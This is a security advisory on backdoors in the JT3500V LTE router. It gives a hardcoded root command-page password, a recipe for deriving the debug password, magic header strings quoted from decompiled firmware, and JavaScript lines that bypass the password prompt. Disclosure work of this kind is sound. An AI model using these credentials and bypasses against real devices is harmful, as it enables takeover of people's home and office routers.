Summary: JT3500V is a most advanced LTE-A Pro CAT12 indoor Wi-Fi
& VoIP CPE product specially designed to enable quick and easy
LTE fixed data service deployment for residential and SOHO customers.
It provides high speed LAN, Wi-Fi and VoIP integrated services
to end users who need both bandwidth and multi-media data service
in residential homes or enterprises. The device has 2 Gigabit LAN
ports, 1 RJ11 analog phone port, high performance 4x4 MIMO and
CA capabilities, 802.11b/g/n/ac dual band Wi-Fi, advanced routing
and firewall software for security. It provides an effective
all-in-one solution to SOHO or residential customers. It can
deliver up to 1Gbps max data throughput which can be very
competitive to wired broadband access service.

Desc: The device has several backdoors and hidden pages that
allow remote code execution, overwriting of the bootrom and
enabling debug mode.

Tested on: GoAhead-Webs/2.5.0 PeerSec-MatrixSSL/3.1.3-OPEN
Linux 2.6.36+ (mips)
Mediatek APSoC SDK v4.3.1.0

Vulnerability discovered by Gjoko 'LiquidWorm' Krstic

Advisory ID: ZSL-2021-5639
Advisory URL:



Older and newer models defer in backdoor code.
By navigating to /syscmd.html or /syscmd.asp pages
an attacker can authenticate and execute system
commands with highest privileges.

Old models (syscmd.asp) password: super1234

Newer models (syscmd.html) password: md5(WAN_MAC+version):

$ curl -k
{"currentImg":["1", "Y", "V2.0.0B3210"], "shadowImg":["0", "Y", "V2.0.0B04"]}

pcVar6 = (char *)nvram_bufget(1,"WAN_MAC_ADDR");
if (*pcVar6 == 0) {
pcVar6 = "6C:AD:EF:00:00:01";
sprintf(acStack280,"generate debug password : %s %s",pcVar6,"V2.0.0B3210");

Another 2 backdoors exist using the websCheckCookie() and specific header strings.

iVar2 = strncmp(acStack2268,"UPGRADE:927",0xb);
if (iVar2 != 0) {
return 0xffffffff;
if ((*(char **)(iParm1 + 0xdc) != (char *)0x0) &&
(iVar2 = strncmp(*(char **)(iParm1 + 0xdc),"TONY@KZT",8), iVar2 != 0)) {
return 0xffffffff;
if (iVar1 != 0) goto LAB_0047c304;
WebsDbgLog(2,"[%s] UserAgent=%s, username=%s,command=%s","startSysCmd",__s1_00,__s1_01,__s1);
__n = strlen(__s1);
if (__n == 0) {
snprintf(acStack1560,0x200,"cat /dev/null > %s","/var/system_command.log");
WebsDbgLog(3,"[%s] %s","startSysCmd",acStack1560);
websWrite(iParm1,"invalid command!");
goto LAB_0047c3f8;

Bypass the backdoor password request and enable debug mode from within the web console:

$('#div_check').modal('hide'); <--- syscmd.html

g_password_check_alert.close(); <--- syscmd.asp
